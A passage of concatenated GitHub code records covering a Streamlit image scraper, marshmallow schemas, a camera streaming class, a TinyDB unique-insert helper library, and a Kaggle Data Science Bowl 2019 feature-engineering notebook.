== \"__main__\":\n n, k = map(int, input().split())\n arr = list(map(int, input().split()))\n m = int(input())\n cnt = 0\n res = [0] * k\n dfs(0, 0)\n print(cnt)\n","repo_name":"wlwlsus/algorithm-study","sub_path":"Inflearn/섹션 6/11. 수들의 조합/AA.py","file_name":"AA.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"45802124599","text":"from logging import PlaceHolder\nimport streamlit as st \nfrom modulo_main import download_file, web_scrapper,imageweb_to_pil,compress_files\nfrom modulo_scraper import ScrapperBot\n\nst.title(\"Scraping web archivos multimedia\")\n\nresources=[]\n#exclusion por problemas de SVG\ndef filter_files(files,exclude):\n return [file for file in files if file[0].split(\".\")[-1] not in exclude]\n\ndef btn_download(files):\n content=compress_files(files)\n st.download_button(\n label=\"Download Files\",\n data=content,\n file_name=\"archive.zip\",\n )\n \n\n\ncol1,col2,col3=st.columns(3)\nurl_entry=None\nstatus=0\nwith col1:\n url_entry=st.text_input(label=\"\",placeholder=\"Ingresa la URL\")\nwith col2:\n st.write(\"\");st.write(\"\");\n if st.button(\"BASICO\") and url_entry:\n #main(url_entry)\n try:\n resources=web_scrapper(url_entry)\n except Exception as e:\n print(\"Error interno :\",e)\n status=1\n \nwith col3:\n st.write(\"\");st.write(\"\")\n if st.button(\"AVANZADO\") and url_entry:\n try:\n @st.cache(persist=True)\n def robot(url):\n robot=ScrapperBot(url_entry)\n resources=robot.run()\n robot.close()\n return resources\n resources=robot(url_entry)\n except Exception as e:\n print(\"Error interno :\",e)\n status=2\n \n\n#agregando texto\nif status==1:\n st.write(\"Scraping BASICO ...\")\n \nelif status==2:\n st.write(\"Scraping AVANZADO ...\")\n \n\nresources=filter_files(resources,[\"svg\"])\nst.write(\"Total de archivos:\",len(resources))\n\nif len(resources)>0:\n btn_download([resource[1] for resource in resources])\n\n for name_img,url_img in resources:\n try:\n img=imageweb_to_pil(url_img,scale=1.0)\n st.image(img.convert(\"RGB\"),caption=name_img)\n except Exception as e:\n print(\"Error al procesar {0}\".format(name_img))\n st.write(e)","repo_name":"Jovamih/web_scraping_images","sub_path":"app-main.py","file_name":"app-main.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"42152138915","text":"from app.models.todos import Todos\n\n# from app import ma\nfrom marshmallow import Schema, fields, validate\n\n\nclass AddNewTodoSchema(Schema):\n task_name = fields.Str(validate=validate.Length(min=5), required=True)\n task_details = fields.Str(required=True)\n task_status = fields.Str(required=True)\n task_deadline = fields.Date()\n\n\nclass ModifyTaskDeadlineSchema(Schema):\n task_deadline = fields.Date(required=True)\n\n\nclass ModifyTodoSchema(Schema):\n task_name = fields.Str(validate=validate.Length(min=5))\n task_details = fields.Str()\n task_status = fields.Str()\n","repo_name":"atelicious/libello","sub_path":"app/schema/todo_schema.py","file_name":"todo_schema.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3829968520","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\nX = pd.read_csv(\"./Training Data/Linear_X_Train.csv\").values\nY = pd.read_csv(\"./Training Data/Linear_Y_Train.csv\").values\n\ntheta = np.load(\"ThetaList.npy\")\n# 100, 2\nT0 = theta[:,0]\nT1 = theta[:,1]\n\nplt.ion()\nfor i in range(0,50,3):\n y_ = T1[i]*X + T0\n #points\n plt.scatter(X,Y)\n # line \n plt.plot(X,y_,'red')\n plt.draw()\n plt.pause(1)\n plt.clf()\n \n\n","repo_name":"coding-blocks-archives/machine-learning-online-2018","sub_path":"3. Linear Regression/Linear Regression/04_interactive_plots.py","file_name":"04_interactive_plots.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":328,"dataset":"github-code","pt":"22"} +{"seq_id":"70580308217","text":"from asyncio import sleep\n\nfrom cv2 import VideoCapture, imencode\n\nclass Camera():\n def __init__(self, width = 800, height = 480, fps = 60, source = 0):\n self.fps = fps\n self.camera = VideoCapture(source)\n self.camera.set(3, width)\n self.camera.set(4, height)\n\n def __del__(self):\n self.camera.release()\n\n def frame(self):\n success, frame = self.camera.read()\n ret, image = imencode('.jpg', frame)\n return image.tobytes()\n\n async def frames(self):\n while True:\n yield self.frame()\n await sleep(1 / self.fps)\n\n async def stream(self, rsp):\n async for frame in self.frames():\n rsp.write(b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n\\r\\n')\n","repo_name":"Garito/rc-model-controller-server","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23172911166","text":"#!/usr/bin/python\n\nimport time\nimport os\nimport sys\nimport subprocess\nimport argparse\nfrom functions import *\n\ndef main():\n\tparser = argparse.ArgumentParser(description='sequence ID extractor', \\\n\t\tformatter_class=argparse.RawTextHelpFormatter)\n\tgroup1 = parser.add_argument_group('Mandatory inputs')\n\tgroup1.add_argument('-i', type=str, dest='in_table', \\\n\t\trequired=True, \\\n\t\thelp='Input summary table (format 2 table)')\n\tgroup1.add_argument('-o', type=str, dest='out_table', \\\n\t\trequired=True, \\\n\t\thelp='Processed output table')\n\tgroup1.add_argument('-id', type=str, dest='seq_id', \\\n\t\trequired=True, \\\n\t\thelp='Strain/sequence ID to extract')\n\tgroup1.add_argument('-f', dest='out_form', \\\n\t\trequired=True, choices=['l','s'], \\\n\t\thelp='The output table format (l: long format, s: short format)')\n\tgroup1.add_argument('-a', dest='include_annot', \\\n\t\trequired=True, choices=['y','n'], \\\n\t\thelp='The summary table include custom annotation or not? (y: yes, n: no)')\n\n\n\tgroup2 = parser.add_argument_group('Optional arguments')\n\tgroup2.add_argument('-l', type=str, dest='log', default=\"ID_extraction.log\", \\\n\t\thelp='Directory and name of the log file [ID_extraction.log]')\n\n\targs = parser.parse_args()\n\n\tparam = {}\n\tparam['in_table'] = os.path.join(os.getcwd(),args.in_table)\n\tparam['out_table'] = os.path.join(os.getcwd(),args.out_table)\n\tparam['fid'] = args.seq_id\n\tparam['out_log'] = args.log\n\tparam['out_form'] = args.out_form\n\tparam['include_annot'] = args.include_annot\n\n\twith open(param['out_log'],'w') as f:\n\t\tf.write('[MicroGMT ' + \\\n\t\t\ttime.asctime( time.localtime(time.time()) ) + \\\n\t\t\t'] Strain/sequence ID extraction started.\\n')\n\n\tf.close()\n\n\tlog_print(param['out_log'],'==================== MicroGMT ====================')\n\tlog_print(param['out_log'],' sequence_ID_extractor')\n\tlog_print(param['out_log'],' Version 1.3 (June 2020)')\n\tlog_print(param['out_log'],' Bug report: Yue Xing ')\n\tlog_print(param['out_log'],'======================================================')\n\n\tif param['include_annot']==\"n\":\n\t\tmutation_summary(param['out_log'],param['in_table'],param['fid'],param['out_table'],param['out_form'])\n\telse:\n\t\tmutation_summary_wanno(param['out_log'],param['in_table'],param['fid'],param['out_table'],param['out_form'])\n\n\tlog_print(param['out_log'],\"Successfully completed!\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"qunfengdong/MicroGMT","sub_path":"sequence_ID_extractor.py","file_name":"sequence_ID_extractor.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"1897706552","text":"# coding=utf-8\n\"\"\"\nTinyDB extensions. PetitDB, a TinyDB with unique fields logics.\nrequires: tinydb >= v3.0 (note that this is not a stable release yet.)\n\"\"\"\n# -------------------------------------------------------------------------------\n# Author: Alexandre Manhaes Savio \n# Nuklear Medizin Department\n# Klinikum rechts der Isar, Technische Universitaet Muenchen (TUM)\n\n# 2015, Alexandre Manhaes Savio\n# Use this at your own risk!\n# -------------------------------------------------------------------------------\nfrom datetime import datetime\nfrom collections import OrderedDict\n\ntry:\n import tinydb\nexcept:\n raise ImportError('Please install TinyDB v3.0.')\n\nfrom tinydb import TinyDB, where\nfrom tinydb.storages import JSONStorage\nfrom tinydb.middlewares import CachingMiddleware\n\nfrom six import string_types\nfrom dateutil.tz import tzutc\n\n\nclass MoreThanOneItemError(Exception):\n pass\n\n\nclass NotUniqueItemError(Exception):\n pass\n\n\ndef timestamp_with_tzinfo(dt):\n \"\"\"\n Serialize a date/time value into an ISO8601 text representation\n adjusted (if needed) to UTC timezone.\n\n For instance:\n >>> serialize_date(datetime(2012, 4, 10, 22, 38, 20, 604391))\n '2012-04-10T22:38:20.604391Z'\n \"\"\"\n utc = tzutc()\n\n if dt.tzinfo:\n dt = dt.astimezone(utc).replace(tzinfo=None)\n return dt.isoformat() + 'Z'\n\n\ndef timestamp_to_date_str(dt):\n \"\"\" Serialize a date/time value into YYYY-MM-DD date string. \"\"\"\n return str(dt.date())\n\n\ndef _to_string(data):\n \"\"\" Convert to string all values in `data`.\n\n Parameters\n ----------\n data: dict[str]->object\n\n Returns\n -------\n string_data: dict[str]->str\n \"\"\"\n sdata = data.copy()\n for k, v in data.items():\n if isinstance(v, datetime):\n sdata[k] = timestamp_to_date_str(v)\n\n elif not isinstance(v, (string_types, float, int)):\n sdata[k] = str(v)\n\n return sdata\n\n\ndef insert_unique(table, data, unique_fields=None, *, raise_if_found=False):\n \"\"\"Insert `data` into `table` ensuring that data has unique values\n in `table` for the fields listed in `unique_fields`.\n\n If `raise_if_found` is True, will raise an NotUniqueItemError if\n another item with the same `unique_fields` values are found\n previously in `table`.\n If False, will return the `eid` from the item found.\n\n Parameters\n ----------\n table: tinydb.Table\n\n data: dict\n\n unique_fields: list of str\n Name of fields (keys) from `data` which are going to be used to build\n a sample to look for exactly the same values in the database.\n If None, will use every key in `data`.\n\n raise_if_found: bool\n\n Returns\n -------\n eid: int\n Id of the object inserted or the one found with same `unique_fields`.\n\n Raises\n ------\n MoreThanOneItemError\n Raise even with `raise_with_found` == False if it finds more than one item\n with the same values as the sample.\n\n NotUniqueItemError\n If `raise_if_found` is True and an item with the same `unique_fields`\n values from `data` is found in `table`.\n \"\"\"\n item = find_unique(table, data, unique_fields)\n if item is not None:\n if raise_if_found:\n raise NotUniqueItemError('Not expected to find an item with the same '\n 'values for {}. Inserting {} got {} in eid {}.'.format(unique_fields,\n data,\n table.get(eid=item),\n item))\n else:\n return item\n\n return table.insert(data)\n\n\ndef search_sample(table, sample):\n \"\"\"Search for items in `table` that have the same field sub-set values as in `sample`.\n\n Parameters\n ----------\n table: tinydb.table\n\n sample: dict\n Sample data\n\n Returns\n -------\n search_result: list of dict\n List of the items found. The list is empty if no item is found.\n \"\"\"\n query = _query_sample(sample=sample, operators='__eq__')\n\n return table.search(query)\n\n\ndef search_unique(table, sample, unique_fields=None):\n \"\"\" Search for items in `table` that have the same field sub-set values as in `sample`.\n Expecting it to be unique, otherwise will raise an exception.\n\n Parameters\n ----------\n table: tinydb.table\n sample: dict\n Sample data\n\n Returns\n -------\n search_result: tinydb.database.Element\n Unique item result of the search.\n\n Raises\n ------\n KeyError:\n If the search returns for more than one entry.\n \"\"\"\n if unique_fields is None:\n unique_fields = list(sample.keys())\n\n query = _query_data(sample, field_names=unique_fields, operators='__eq__')\n items = table.search(query)\n\n if len(items) == 1:\n return items[0]\n\n if len(items) == 0:\n return None\n\n raise MoreThanOneItemError('Expected to find zero or one items, but found '\n '{} items.'.format(len(items)))\n\n\ndef find_unique(table, sample, unique_fields=None):\n \"\"\"Search in `table` an item with the value of the `unique_fields` in the `sample` sample.\n Check if the the obtained result is unique. If nothing is found will return an empty list,\n if there is more than one item found, will raise an IndexError.\n\n Parameters\n ----------\n table: tinydb.table\n\n sample: dict\n Sample data\n\n unique_fields: list of str\n Name of fields (keys) from `data` which are going to be used to build\n a sample to look for exactly the same values in the database.\n If None, will use every key in `data`.\n\n Returns\n -------\n eid: int\n Id of the object found with same `unique_fields`.\n None if none is found.\n\n Raises\n ------\n MoreThanOneItemError\n If more than one example is found.\n \"\"\"\n res = search_unique(table, sample, unique_fields)\n if res is not None:\n return res.eid\n else:\n return res\n\n\ndef _query_sample(sample, operators='__eq__'):\n \"\"\"Create a TinyDB query that looks for items that have each field in `sample` with a value\n compared with the correspondent operation in `operators`.\n\n Parameters\n ----------\n sample: dict\n The sample data\n\n operators: str or list of str\n A list of comparison operations for each field value in `sample`.\n If this is a str, will use the same operator for all `sample` fields.\n If you want different operators for each field, remember to use an OrderedDict for `sample`.\n Check TinyDB.Query class for possible choices.\n\n Returns\n -------\n query: tinydb.database.Query\n \"\"\"\n if isinstance(operators, str):\n operators = [operators] * len(sample)\n\n if len(sample) != len(operators):\n raise ValueError('Expected `operators` to be a string or a list with the same'\n ' length as `field_names` ({}), got {}.'.format(len(sample),\n operators))\n\n queries = []\n for i, fn in enumerate(sample):\n fv = sample[fn]\n op = operators[i]\n queries.append(_build_query(field_name=fn,\n field_value=fv,\n operator=op))\n\n return _concat_queries(queries, operators='__and__')\n\n\ndef _query_data(data, field_names=None, operators='__eq__'):\n \"\"\"Create a tinyDB Query object that looks for items that confirms the correspondent operator\n from `operators` for each `field_names` field values from `data`.\n\n Parameters\n ----------\n data: dict\n The data sample\n\n field_names: str or list of str\n The name of the fields in `data` that will be used for the query.\n\n operators: str or list of str\n A list of comparison operations for each field value in `field_names`.\n If this is a str, will use the same operator for all `field_names`.\n If you want different operators for each field, remember to use an OrderedDict for `data`.\n Check TinyDB.Query class for possible choices.\n\n Returns\n -------\n query: tinydb.database.Query\n \"\"\"\n if field_names is None:\n field_names = list(data.keys())\n\n if isinstance(field_names, str):\n field_names = [field_names]\n\n # using OrderedDict by default, in case operators has different operators for each field.\n sample = OrderedDict([(fn, data[fn]) for fn in field_names])\n return _query_sample(sample, operators=operators)\n\n\ndef _concat_queries(queries, operators='__and__'):\n \"\"\"Create a tinyDB Query object that is the concatenation of each query in `queries`.\n The concatenation operator is taken from `operators`.\n\n Parameters\n ----------\n queries: list of tinydb.Query\n The list of tinydb.Query to be joined.\n\n operators: str or list of str\n List of binary operators to join `queries` into one query.\n Check TinyDB.Query class for possible choices.\n\n Returns\n -------\n query: tinydb.database.Query\n \"\"\"\n # checks first\n if not queries:\n raise ValueError('Expected some `queries`, got {}.'.format(queries))\n\n if len(queries) == 1:\n return queries[0]\n\n if isinstance(operators, str):\n operators = [operators] * (len(queries) - 1)\n\n if len(queries) - 1 != len(operators):\n raise ValueError('Expected `operators` to be a string or a list with the same'\n ' length as `field_names` ({}), got {}.'.format(len(queries),\n operators))\n\n # recursively build the query\n first, rest, end = queries[0], queries[1:-1], queries[-1:][0]\n bigop = getattr(first, operators[0])\n for i, q in enumerate(rest):\n bigop = getattr(bigop(q), operators[i])\n\n return bigop(end)\n\n\ndef _build_query(field_name, field_value, operator='__eq__'):\n \"\"\"Create a tinyDB Query object with the format:\n (where(`field_name`) `operator` `field_value`)\n\n Parameters\n ----------\n field_name: str\n The name of the field to be queried.\n\n field_value:\n The value of the field\n\n operator: str\n The comparison operator.\n Check TinyDB.Query class for possible choices.\n\n Returns\n -------\n query: tinydb.database.Query\n \"\"\"\n qelem = where(field_name)\n\n if not hasattr(qelem, operator):\n raise NotImplementedError('Operator `{}` not found in query object.'.format(operator))\n else:\n query = getattr(qelem, operator)\n\n return query(field_value)\n\n\nclass PetitDB(TinyDB):\n \"\"\"A generic TinyDB subclass that defines operations for: unique values and meta-queries.\"\"\"\n\n def __init__(self, file_path, storage=CachingMiddleware(JSONStorage)):\n self._db_fpath = file_path\n self._storage = storage\n super(PetitDB, self).__init__(self._db_fpath) #, storage=self._storage)\n\n def search_by_eid(self, table_name, eid):\n \"\"\"Return the element in `table_name` with Object ID `eid`.\n If None is found will raise a KeyError exception.\n\n Parameters\n ----------\n table_name: str\n The name of the table to look in.\n\n eid: int\n The Object ID of the element to look for.\n\n Returns\n -------\n elem: tinydb.database.Element\n\n Raises\n ------\n KeyError\n If the element with ID `eid` is not found.\n \"\"\"\n elem = self.table(table_name).get(eid=eid)\n if elem is None:\n raise KeyError('Could not find {} with eid {}.'.format(table_name, eid))\n\n return elem\n\n def insert_unique(self, table_name, data, unique_fields=None, *, raise_if_found=False):\n \"\"\"Insert `data` into `table` ensuring that data has unique values\n in `table` for the fields listed in `unique_fields`.\n\n If `raise_if_found` is True, will raise an NotUniqueItemError if\n another item with the same `unique_fields` values are found\n previously in `table`.\n If False, will return the `eid` from the item found.\n\n Parameters\n ----------\n table_name: str\n\n data: dict\n\n unique_fields: list of str\n Name of fields (keys) from `data` which are going to be used to build\n a sample to look for exactly the same values in the database.\n If None, will use every key in `data`.\n\n raise_if_found: bool\n\n Returns\n -------\n eid: int\n Id of the object inserted or the one found with same `unique_fields`.\n\n Raises\n ------\n MoreThanOneItemError\n Raise even with `raise_with_found` == False if it finds more than one item\n with the same values as the sample.\n\n NotUniqueItemError\n If `raise_if_found` is True and an item with the same `unique_fields`\n values from `data` is found in `table`.\n \"\"\"\n return insert_unique(table=self.table(table_name),\n data=_to_string(data),\n unique_fields=unique_fields,\n raise_if_found=raise_if_found)\n\n def search_unique(self, table_name, sample, unique_fields=None):\n \"\"\" Search in `table` an item with the value of the `unique_fields` in the `data` sample.\n Check if the the obtained result is unique. If nothing is found will return an empty list,\n if there is more than one item found, will raise an IndexError.\n\n Parameters\n ----------\n table_name: str\n\n sample: dict\n Sample data\n\n unique_fields: list of str\n Name of fields (keys) from `data` which are going to be used to build\n a sample to look for exactly the same values in the database.\n If None, will use every key in `data`.\n\n Returns\n -------\n eid: int\n Id of the object found with same `unique_fields`.\n None if none is found.\n\n Raises\n ------\n MoreThanOneItemError\n If more than one example is found.\n \"\"\"\n return search_unique(table=self.table(table_name),\n sample=sample,\n unique_fields=unique_fields)\n\n def search_sample(self, table_name, sample):\n \"\"\"Search for items in `table` that have the same field sub-set values as in `sample`.\n\n Parameters\n ----------\n table_name: str\n\n sample: dict\n Sample data\n\n Returns\n -------\n search_result: list of dict\n List of the items found. The list is empty if no item is found.\n \"\"\"\n return search_sample(table=self.table(table_name),\n sample=sample)\n\n def is_unique(self, table_name, sample, unique_fields=None):\n \"\"\"Return True if an item with the value of `unique_fields`\n from `data` is unique in the table with `table_name`.\n False if no sample is found or more than one is found.\n\n See function `find_unique` for more details.\n\n Parameters\n ----------\n table_name: str\n\n sample: dict\n Sample data for query\n\n unique_fields: str or list of str\n\n Returns\n -------\n is_unique: bool\n \"\"\"\n try:\n eid = find_unique(self.table(table_name),\n sample=sample,\n unique_fields=unique_fields)\n except:\n return False\n else:\n return eid is not None\n\n def update_unique(self, table_name, fields, data, cond=None, unique_fields=None,\n *, raise_if_not_found=False):\n \"\"\"Update the unique matching element to have a given set of fields.\n\n Parameters\n ----------\n table_name: str\n\n fields: dict or function[dict -> None]\n new data/values to insert into the unique element\n or a method that will update the elements.\n\n data: dict\n Sample data for query\n\n cond: tinydb.Query\n which elements to update\n\n unique_fields: list of str\n\n raise_if_not_found: bool\n Will raise an exception if the element is not found for update.\n\n Returns\n -------\n eid: int\n The eid of the updated element if found, None otherwise.\n \"\"\"\n eid = find_unique(self.table(table_name), data, unique_fields)\n\n if eid is None:\n if raise_if_not_found:\n msg = 'Could not find {} with {}'.format(table_name, data)\n if cond is not None:\n msg += ' where {}.'.format(cond)\n raise IndexError(msg)\n\n else:\n self.table(table_name).update(_to_string(fields), cond=cond, eids=[eid])\n\n return eid\n\n def count(self, table_name, sample):\n \"\"\"Return the number of items that match the `sample` field values\n in table `table_name`.\n Check function search_sample for more details.\n \"\"\"\n return len(list(search_sample(table=self.table(table_name),\n sample=sample)))\n\n","repo_name":"Neurita/boyle","sub_path":"boyle/petitdb.py","file_name":"petitdb.py","file_ext":"py","file_size_in_byte":17545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"69948070138","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load\n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the read-only \"../input/\" directory\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\n\n\nimport os\n\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n\n for filename in filenames:\n\n print(os.path.join(dirname, filename))\n\n\n\n# You can write up to 5GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n\n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session\nimport pandas as pd\n\nimport numpy as np\n\nimport seaborn as sns\n\nfrom tqdm import tqdm\n\nfrom collections import Counter\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.manifold import TSNE\n\nfrom sklearn.metrics import confusion_matrix\n\nfrom xgboost import XGBClassifier\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.metrics import accuracy_score\ntrain = pd.read_csv('/kaggle/input/data-science-bowl-2019/train.csv')\n\ntest = pd.read_csv('/kaggle/input/data-science-bowl-2019/test.csv')\n\ntrain_labels = pd.read_csv('/kaggle/input/data-science-bowl-2019/train_labels.csv')\n\nspecs = pd.read_csv('/kaggle/input/data-science-bowl-2019/specs.csv')\n\nsample_submission = pd.read_csv('/kaggle/input/data-science-bowl-2019/sample_submission.csv')\nprint('training data shape',train.shape)\n\nprint('test data shape',test.shape)\n\n\n\nunique_id_train = len(train['installation_id'].unique())\n\nunique_id_test = len(test['installation_id'].unique())\n\n\n\nprint('number of unique installation_id in training data' ,unique_id_train)\n\nprint('number of unique installation_id in test data' ,unique_id_test)\ntrain.head()\ntest.head()\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\n# Some of the installation_id from training data do not attempt for Assessment even for a single time.\n\n# First we will get rid of those ids as we will not able to predict the class.\n\nrequired_id = train[train['type'] == \"Assessment\"]['installation_id'].drop_duplicates()\n\ntrain = pd.merge(train, required_id , on=\"installation_id\", how=\"inner\")\n\n\n\nunique_id_train = len(train['installation_id'].unique())\n\n\n\nprint('training data shape',train.shape)\n\nprint('number of unique installation_id in training data',unique_id_train)\n# In test data also we have some installation id that attempt for Assessment but corresponding event_code is not 4100 or 4110(Bird Measurer)\n\ntest[(test['installation_id']=='017c5718') & (test['type']=='Assessment')]\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\n# In the reference blog they have used two separate function for featurization. I slightly modified and compressed it in only one function.\n\ndef get_features(installation_id , dataframe_for_an_id , test_flag=False):\n\n '''\n\n \n\n This function will calculate features for train and test data. \n\n It will create 4 columns for four unique world(including None) and\n\n will create 44 columns for 44 unique title and\n\n will create 4 columns for four unique type and\n\n will create 42 columns for 42 unique event_code and\n\n will create 6 more columns for 'total_duration','total_action','correct_count','incorrect_count','accuracy','accuracy_group'\n\n ---\n\n total 100 columns \n\n \n\n except total_duration, accuracy and accuracy_group all other features is number of counts of those feature in a game_session\n\n if test_flag is True then return last entry of list \n\n '''\n\n # temp_dict initialized with keys (100 columns) and value = 0\n\n features = []\n\n features.extend(list(set(train['world'].unique()).union(set(test['world'].unique())))) # all unique worlds in train and test data\n\n features.extend(list(set(train['title'].unique()).union(set(test['title'].unique())))) # all unique title in train and test data\n\n features.extend(list(set(train['type'].unique()).union(set(test['type'].unique())))) # all unique type in train and test data\n\n features.extend(list(set(train['event_code'].unique()).union(set(test['event_code'].unique())))) # all unique event_code in train and test data \n\n features.extend(['total_duration','total_action','correct_count','incorrect_count','accuracy','accuracy_group'])\n\n temp_dict = dict.fromkeys(features,0)\n\n list_of_features = []\n\n \n\n \n\n def get_all_attempt(sample_df):\n\n '''\n\n This fuction will return the dataframe which is used to calculate accuracy_group\n\n '''\n\n if sample_df['title'].iloc[0] != 'Bird Measurer (Assessment)':\n\n all_attempt = sample_df.query('event_code == 4100')\n\n elif sample_df['title'].iloc[0] == 'Bird Measurer (Assessment)':\n\n all_attempt = sample_df.query('event_code == 4110')\n\n return all_attempt\n\n \n\n for i, sample_df in dataframe_for_an_id.groupby(by = ['game_session']):\n\n # sample_df is groupby object \n\n # In sample_df 'type','title' and 'world' will not change so first entry of those column is piced\n\n temp_dict['installation_id'] = installation_id\n\n temp_type = sample_df['type'].iloc[0]\n\n temp_title = sample_df['title'].iloc[0]\n\n temp_world = sample_df['world'].iloc[0]\n\n temp_event_code = Counter(sample_df['event_code'].values)\n\n\n\n session_size = len(sample_df)\n\n\n\n temp_dict[temp_type]+=session_size\n\n temp_dict[temp_title]+=session_size # corresponding type , title and world is incremented by session size\n\n temp_dict[temp_world]+=session_size \n\n\n\n for code, code_count in temp_event_code.items(): # corresponding event_code is incremented\n\n temp_dict[code]+= code_count \n\n \n\n duration_in_sec = float(sample_df['game_time'].iloc[-1])/1000 # total_duration is duration of game_session in seconds\n\n temp_dict['total_duration'] += duration_in_sec\n\n \n\n action_count_in_game_session = session_size # total number of action performed in game_session\n\n temp_dict['total_action'] += action_count_in_game_session \n\n \n\n isAssessment = temp_type == 'Assessment'\n\n isBirdMeasureAssessment = isAssessment and temp_title == 'Bird Measurer (Assessment)'\n\n isAssessment_with_code4110 = isBirdMeasureAssessment and 4110 in list(sample_df['event_code'])\n\n isNonBirdMeasureAssessment = isAssessment and temp_title != 'Bird Measurer (Assessment)'\n\n isAssessment_with_code4100 = isNonBirdMeasureAssessment and 4100 in list(sample_df['event_code'])\n\n \n\n criterion_to_accuracy_group = isAssessment_with_code4110 or isAssessment_with_code4100 \n\n \n\n \n\n if test_flag and isAssessment and (criterion_to_accuracy_group == False):\n\n temp_dict['accuracy'] = 0 # there are lots of installation_id in test data that attempt for\n\n temp_dict['accuracy_group'] = 0 # Assessment but not with event_code 4100 or 4110\n\n list_of_features.append(temp_dict) # So I assumed those id belongs to class 0\n\n \n\n \n\n if criterion_to_accuracy_group == False:\n\n continue\n\n \n\n # below section is only performed when criterion_to_accuracy_group is True\n\n \n\n all_attempt = get_all_attempt(sample_df)\n\n correct_count = all_attempt['event_data'].str.contains('true').sum() \n\n incorrect_count = all_attempt['event_data'].str.contains('false').sum()\n\n temp_dict['correct_count'] = correct_count \n\n temp_dict['incorrect_count'] = incorrect_count\n\n\n\n if correct_count == 0 and incorrect_count == 0:\n\n temp_dict['accuracy'] = 0\n\n else:\n\n temp_dict['accuracy'] = correct_count/(correct_count + incorrect_count)\n\n\n\n if temp_dict['accuracy']==1:\n\n temp_dict['accuracy_group']=3\n\n elif temp_dict['accuracy']==0.5:\n\n temp_dict['accuracy_group']=2\n\n elif temp_dict['accuracy']==0:\n\n temp_dict['accuracy_group']=0\n\n else :\n\n temp_dict['accuracy_group']=1\n\n\n\n list_of_features.append(temp_dict)\n\n temp_dict = dict.fromkeys(features,0)\n\n \n\n \n\n if test_flag: # If given data is from test data then return only the last entry of the list\n\n return list_of_features[-1]\n\n \n\n return list_of_features\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\n# below is testing code to check whether get_features function works properly for training data\n\nsample_df = train[train.installation_id == \"0006a69f\"]\n\nlist_of_feature = get_features(\"0006a69f\",sample_df)\n\nlist_of_feature\n\ntemp_df = pd.DataFrame(list_of_feature)\n\ntemp_df\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\n# below is testing code to check whether get_features function works properly for test data\n\nsample_df = train[train.installation_id == \"0006a69f\"]\n\nlist_of_feature = get_features('0006a69f',sample_df,True)\n\nlist_of_feature\n\ntemp_df = pd.DataFrame(list_of_feature,index=[0])\n\ntemp_df\nfrom tqdm.notebook import tqdm\n'''\n\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\nfinal_training_data_list = []\n\ntraining_groupby_id = train.groupby(by=['installation_id']) \n\n\n\nfor installation_id , df_with_unique_id in tqdm(training_groupby_id):\n\n final_training_data_list.extend(get_features(installation_id,df_with_unique_id))\n\n\n\nfinal_training_data = pd.DataFrame(final_training_data_list)\n\n'''\nfinal_training_data = pd.read_csv('/kaggle/input/final-training-data/final_training_data.csv')\nprint('featurized training data shape :',final_training_data.shape)\n\nfinal_training_data.head()\n'''\n\n# reference : https://www.kaggle.com/erikbruin/data-science-bowl-2019-eda-and-baseline\n\nfinal_test_data_list = []\n\ntest_groupby_id = test.groupby(by=['installation_id'])\n\nfor installation_id , df_with_unique_id in tqdm(test_groupby_id):\n\n final_test_data_list.append(get_features(installation_id,df_with_unique_id,True))\n\nfinal_test_data = pd.DataFrame(final_test_data_list)\n\n'''\nfinal_test_data = pd.read_csv('/kaggle/input/final-test-data/final_test_data.csv')\nprint('featurized test data shape :',final_test_data.shape)\n\nfinal_test_data.head()\nimport xgboost as xgb\n\nfrom sklearn.model_selection import GridSearchCV,RandomizedSearchCV\n\nimport time\n\nfrom sklearn.metrics import make_scorer\n# reference : https://www.kaggle.com/aroraaman/quadratic-kappa-metric-explained-in-5-simple-steps\n\n\n\ndef calculate_QWK(actual_label,predicted_label):\n\n '''\n\n this function will calculate quadratic weighted kappa given actual \n\n and predicted label array.\n\n '''\n\n N = 4 # unique labels\n\n hist_actual_label = np.zeros(N)\n\n hist_predicted_label = np.zeros(N)\n\n w = np.zeros((N,N))\n\n numerator = 0 # w and O\n\n denominator = 0 # w and E\n\n \n\n conf_mat = confusion_matrix(actual_label,predicted_label)\n\n\n\n for i in actual_label: # this part will calculate histogram for actual and predicted label\n\n hist_actual_label[i]+=1\n\n for j in predicted_label:\n\n hist_predicted_label[j]+=1\n\n\n\n E = np.outer(hist_actual_label, 